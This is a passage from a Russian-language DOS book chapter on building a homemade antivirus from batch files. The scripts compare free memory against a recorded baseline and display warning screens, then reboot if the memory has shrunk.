@echo off set real=%@eval[%@dosmem[b]% + %@xms[b]% - 32868896] if %real% ge 0 exit SET NU=C:\DOS be C:\dos\2.bat echo Величина изменения байт. Screen 20 45 echo %real% screen 21 3 beep /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 beep /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 /d9 /f349 /d9 /f233 be C:\dos\3.bat delay 10 be reboot /c /v exit
где вместо приведенной цифры подставляется реальная величина свободной памяти, полученная при тестировании файлом Test.bat; программа Be из тех же утилит облегчает достижение интерактивности; каталог DOS каталог расположения бат-файлов, NDOS и BE.
Второй (2.bat):
sa whi on bla /cls window 3 12 18 69 bright gre on whi window 5 15 15 65 blu on red explode shadow rowcol 7 19 "Общее количество свободной памяти уменьшилось." Bright green on red rowcol 8 23 "Если в память не были инсталлированы" bright green on red rowcol 9 19 "незафиксированные при тестировании драйверы," bright green on red rowcol 10 18 "значит, в нее инсталлировались незафиксированные" bright green on red rowcol 12 33 "В И Р У С Ы ." bright yel on red rowcol 20 3
Третий (3.bat):
sa whi on bla /cls window 3 14 18 67 bright gre on whi window 5 18 15 62 red on blu explode shadow rowcol 7 33 "В Н И М А Н И Е !" bright yelow on blue rowcol 9 20 "Загрузка операционной системы прекращена." Rowcol 10 24 "Чеерез 10 секунд будет произведена" rowcol 11 26 "х о л о д н а я перезагрузка." Rowcol 12 26 "Приготовте дискету для загрузки" bright whi on blue rowcol 13 30 "чистой среды и нажмите Y." Bright whi on blue rowcol 20 3
После написания этих файлов, строка вызывавшая из автозапуска файл Test.bat заменяется вызовом файла 1.bat, на чем создание самодельного антивируса заканчивается.
Описанная программа рассчитана на чистую загрузку (со стандартным драйвером Himem.sys) и применение дополнительных менеджеров памяти, должно учитываться во второй строке первого бат-файла.
Проверить действие программы, можно либо, запустив перед ней дополнительный драйвер или резидентную программу, например, DosKey, либо вызвав из Windows сеанс MS-DOS и, повторив команду Autoexec.bat (Ndos /c C:\dos\1)7.
Программа сверяет количество памяти с имеющимися у нее данными и в случаи расхождения значений, довольно наглядно (а также, наслышно), о нем сигнализирует. Никакая другая программа не способна с такой точностью учесть конфигурацию конкретного компьютера и в этом ее несомненное преимущество. Естественно, ее нельзя назвать панацеей и, она может быть обманута каким-нибудь хитроумным вирусом, но поскольку абсолютного антивируса не существует, чем больше на компьютере антивирусных программ, тем надежней его защита.
Сравнение количества памяти занимает не более сотой доли секунды, так что ее подключение ни как не сказывается на скорости загрузки компьютера, чего, к сожалению, не скажешь о других антивирусах.
< Глава 16. Глава 17. Глава 18. >